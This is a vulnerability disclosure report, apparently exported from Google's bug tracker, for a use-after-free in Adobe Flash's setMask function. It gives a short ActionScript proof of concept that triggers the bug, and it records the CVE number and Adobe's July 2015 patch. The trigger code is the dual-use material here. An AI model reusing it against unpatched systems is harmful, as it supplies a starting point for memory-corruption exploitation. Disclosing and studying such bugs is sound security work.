Adobe Flash: Use-after-free when calling setMask

[GoogleCodeExporter]

There is a use-after-free in MovieClip.setMask. A PoC is as follows:

this.createEmptyMovieClip("l1", 1, 1, 1, 10, 10);
this.createEmptyMovieClip("l2", 2, 1, 1, 10, 10);
var thiz = this;
var n = {toString: func};
l2.setMask(n);

function func(){

    var test = thiz.createTextField("test", 2, 1, 1, 10, 10);
    test.removeTextField();
    trace("in func");
    return "l1";

    }

A swf and fla are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 15 May 2015 at 10:46

Attachments:

• setmask.swf
• setmask.fla

[GoogleCodeExporter]

This is PSIRT-3715

Original comment by natashe...@google.com on 18 May 2015 at 10:40

[GoogleCodeExporter]

Original comment by cev...@google.com on 5 Jul 2015 at 6:33

• Added labels: CVE-2015-4428

[GoogleCodeExporter]

Fixed: https://helpx.adobe.com/security/products/flash-player/apsb15-16.html

Original comment by cev...@google.com on 9 Jul 2015 at 12:37

• Changed state: Fixed
• Added labels: Fixed-2015-Jul-8

[GoogleCodeExporter]

Original comment by natashe...@google.com on 3 Aug 2015 at 9:43

• Removed labels: Restrict-View-Commit